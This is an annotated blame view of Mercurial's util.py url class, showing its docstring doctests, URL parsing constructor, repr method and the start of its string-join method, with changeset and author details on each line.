924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2939 If parsefragment is False, fragment is included in query. If
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2940 parsequery is False, query is included in path. If both are
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2941 False, both fragment and query are included in path.
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2942
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2943 See http://www.ietf.org/rfc/rfc2396.txt for more information.
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2944
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2945 Note that for backward compatibility reasons, bundle URLs do not
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2946 take host names. That means 'bundle://../' has a path of '../'.
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2947
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2948 Examples:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2949
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2950 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2951 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2952 >>> url(b'ssh://[::1]:2200//home/joe/repo')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2953 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2954 >>> url(b'file:///home/joe/repo')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2955 <url scheme: 'file', path: '/home/joe/repo'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2956 >>> url(b'file:///c:/temp/foo/')
14915 28edd65000d9 url: handle urls of the form file:///c:/foo/bar/ correctly Matt Mackall <mpm@selenic.com> parents: 14825 diff changeset	2957 <url scheme: 'file', path: 'c:/temp/foo/'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2958 >>> url(b'bundle:foo')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2959 <url scheme: 'bundle', path: 'foo'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2960 >>> url(b'bundle://../foo')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2961 <url scheme: 'bundle', path: '../foo'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2962 >>> url(br'c:\foo\bar')
14146 1618c4f6f15b tests: use raw string for url tests of '\' handling Mads Kiilerich <mads@kiilerich.com> parents: 14100 diff changeset	2963 <url path: 'c:\\foo\\bar'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2964 >>> url(br'\\blah\blah\blah')
14699 388af80c058b url: catch UNC paths as yet another Windows special case (issue2808) Matt Mackall <mpm@selenic.com> parents: 14640 diff changeset	2965 <url path: '\\\\blah\\blah\\blah'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2966 >>> url(br'\\blah\blah\blah#baz')
15074 64fbd0de9773 url: parse fragments first (issue2997) Matt Mackall <mpm@selenic.com> parents: 15066 diff changeset	2967 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2968 >>> url(br'file:///C:\users\me')
20106 c33d9217e99d util: url keeps backslash in paths Simon Heimberg <simohe@besonet.ch> parents: 20000 diff changeset	2969 <url scheme: 'file', path: 'C:\\users\\me'>
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2970
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2971 Authentication credentials:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2972
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2973 >>> url(b'ssh://joe:xyz@x/repo')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2974 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2975 >>> url(b'ssh://joe@x/repo')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2976 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2977
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2978 Query strings and fragments:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2979
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2980 >>> url(b'http://host/a?b#c')
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2981 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2982 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2983 <url scheme: 'http', host: 'host', path: 'a?b#c'>
30036 3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	2984
3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	2985 Empty path:
3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	2986
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2987 >>> url(b'')
30036 3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	2988 <url path: ''>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2989 >>> url(b'#a')
30036 3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	2990 <url path: '', fragment: 'a'>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2991 >>> url(b'http://host/')
30036 3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	2992 <url scheme: 'http', host: 'host', path: ''>
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2993 >>> url(b'http://host/#a')
30036 3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	2994 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	2995
3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	2996 Only scheme:
3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	2997
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2998 >>> url(b'http:')
30036 3f4e1c033f40 url: fix crash by empty path with #fragments Yuya Nishihara <yuya@tcha.org> parents: 30031 diff changeset	2999 <url scheme: 'http'>
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3000 """
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3001
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3002 _safechars = "!~*'()+"
20106 c33d9217e99d util: url keeps backslash in paths Simon Heimberg <simohe@besonet.ch> parents: 20000 diff changeset	3003 _safepchars = "/!~*'()+:\\"
30339 dadb00a0ec0f util: use '\\' rather than using r'\' Augie Fackler <augie@google.com> parents: 30338 diff changeset	3004 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3005
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3006 def __init__(self, path, parsequery=True, parsefragment=True):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3007 # We slowly chomp away at path until we have only the path left
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3008 self.scheme = self.user = self.passwd = self.host = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3009 self.port = self.path = self.query = self.fragment = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3010 self._localpath = True
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3011 self._hostport = ''
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3012 self._origpath = path
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3013
15074 64fbd0de9773 url: parse fragments first (issue2997) Matt Mackall <mpm@selenic.com> parents: 15066 diff changeset	3014 if parsefragment and '#' in path:
64fbd0de9773 url: parse fragments first (issue2997) Matt Mackall <mpm@selenic.com> parents: 15066 diff changeset	3015 path, self.fragment = path.split('#', 1)
64fbd0de9773 url: parse fragments first (issue2997) Matt Mackall <mpm@selenic.com> parents: 15066 diff changeset	3016
14699 388af80c058b url: catch UNC paths as yet another Windows special case (issue2808) Matt Mackall <mpm@selenic.com> parents: 14640 diff changeset	3017 # special case for Windows drive letters and UNC paths
30339 dadb00a0ec0f util: use '\\' rather than using r'\' Augie Fackler <augie@google.com> parents: 30338 diff changeset	3018 if hasdriveletter(path) or path.startswith('\\\\'):
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3019 self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3020 return
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3021
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3022 # For compatibility reasons, we can't handle bundle paths as
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3023 # normal URLS
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3024 if path.startswith('bundle:'):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3025 self.scheme = 'bundle'
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3026 path = path[7:]
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3027 if path.startswith('//'):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3028 path = path[2:]
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3029 self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3030 return
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3031
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3032 if self._matchscheme(path):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3033 parts = path.split(':', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3034 if parts[0]:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3035 self.scheme, path = parts
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3036 self._localpath = False
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3037
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3038 if not path:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3039 path = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3040 if self._localpath:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3041 self.path = ''
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3042 return
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3043 else:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3044 if self._localpath:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3045 self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3046 return
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3047
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3048 if parsequery and '?' in path:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3049 path, self.query = path.split('?', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3050 if not path:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3051 path = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3052 if not self.query:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3053 self.query = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3054
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3055 # // is required to specify a host/authority
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3056 if path and path.startswith('//'):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3057 parts = path[2:].split('/', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3058 if len(parts) > 1:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3059 self.host, path = parts
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3060 else:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3061 self.host = parts[0]
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3062 path = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3063 if not self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3064 self.host = None
15018 e89f62dcd723 url: really handle urls of the form file:///c:/foo/bar/ correctly Mads Kiilerich <mads@kiilerich.com> parents: 14988 diff changeset	3065 # path of file:///d is /d
e89f62dcd723 url: really handle urls of the form file:///c:/foo/bar/ correctly Mads Kiilerich <mads@kiilerich.com> parents: 14988 diff changeset	3066 # path of file:///d:/ is d:/, not /d:/
14915 28edd65000d9 url: handle urls of the form file:///c:/foo/bar/ correctly Matt Mackall <mpm@selenic.com> parents: 14825 diff changeset	3067 if path and not hasdriveletter(path):
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3068 path = '/' + path
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3069
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3070 if self.host and '@' in self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3071 self.user, self.host = self.host.rsplit('@', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3072 if ':' in self.user:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3073 self.user, self.passwd = self.user.split(':', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3074 if not self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3075 self.host = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3076
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3077 # Don't split on colons in IPv6 addresses without ports
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3078 if (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3079 self.host
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3080 and ':' in self.host
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3081 and not (self.host.startswith('[') and self.host.endswith(']'))
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3082 ):
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3083 self._hostport = self.host
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3084 self.host, self.port = self.host.rsplit(':', 1)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3085 if not self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3086 self.host = None
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3087
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3088 if (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3089 self.host
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3090 and self.scheme == 'file'
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3091 and self.host not in ('localhost', '127.0.0.1', '[::1]')
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3092 ):
37099 895f209b593b util: use error.Abort instead of local alias Yuya Nishihara <yuya@tcha.org> parents: 37098 diff changeset	3093 raise error.Abort(_('file:// URLs can only refer to localhost'))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3094
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3095 self.path = path
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3096
14988 e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 14915 diff changeset	3097 # leave the query string escaped
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3098 for a in ('user', 'passwd', 'host', 'port', 'path', 'fragment'):
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3099 v = getattr(self, a)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3100 if v is not None:
31573 4ebecf331d7d util: use urlreq.unquote Gregory Szorc <gregory.szorc@gmail.com> parents: 31547 diff changeset	3101 setattr(self, a, urlreq.unquote(v))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3102
34089 30535fe47e78 py3: fix repr(util.url) to return system string Yuya Nishihara <yuya@tcha.org> parents: 34069 diff changeset	3103 @encoding.strmethod
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3104 def __repr__(self):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3105 attrs = []
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3106 for a in (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3107 'scheme',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3108 'user',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3109 'passwd',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3110 'host',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3111 'port',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3112 'path',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3113 'query',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3114 'fragment',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3115 ):
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3116 v = getattr(self, a)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3117 if v is not None:
37917 bb1b15acfd06 util: make util.url __repr__ consistent on Python 2 and 3 Augie Fackler <augie@google.com> parents: 37890 diff changeset	3118 attrs.append('%s: %r' % (a, pycompat.bytestr(v)))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3119 return '<url %s>' % ', '.join(attrs)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3120
33038 ce96efec8112 py3: add utility to forward __str__() to __bytes__() Yuya Nishihara <yuya@tcha.org> parents: 32904 diff changeset	3121 def __bytes__(self):
14147 617483af1cc0 test: test that backslash is preserved by the url class Mads Kiilerich <mads@kiilerich.com> parents: 14146 diff changeset	3122 r"""Join the URL's components back into a URL string.
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3123
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3124 Examples:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3125
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3126 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
15452 de7e2fba4326 util: don't encode ':' in url paths Mads Kiilerich <mads@kiilerich.com> parents: 15392 diff changeset	3127 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3128 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
14988 e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 14915 diff changeset	3129 'http://user:pw@host:80/?foo=bar&baz=42'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3130 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
14988 e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 14915 diff changeset	3131 'http://user:pw@host:80/?foo=bar%3dbaz'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3132 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3133 'ssh://user:pw@[::1]:2200//home/joe#'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3134 >>> bytes(url(b'http://localhost:80//'))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3135 'http://localhost:80//'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3136 >>> bytes(url(b'http://localhost:80/'))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3137 'http://localhost:80/'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3138 >>> bytes(url(b'http://localhost:80'))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3139 'http://localhost:80/'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3140 >>> bytes(url(b'bundle:foo'))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3141 'bundle:foo'
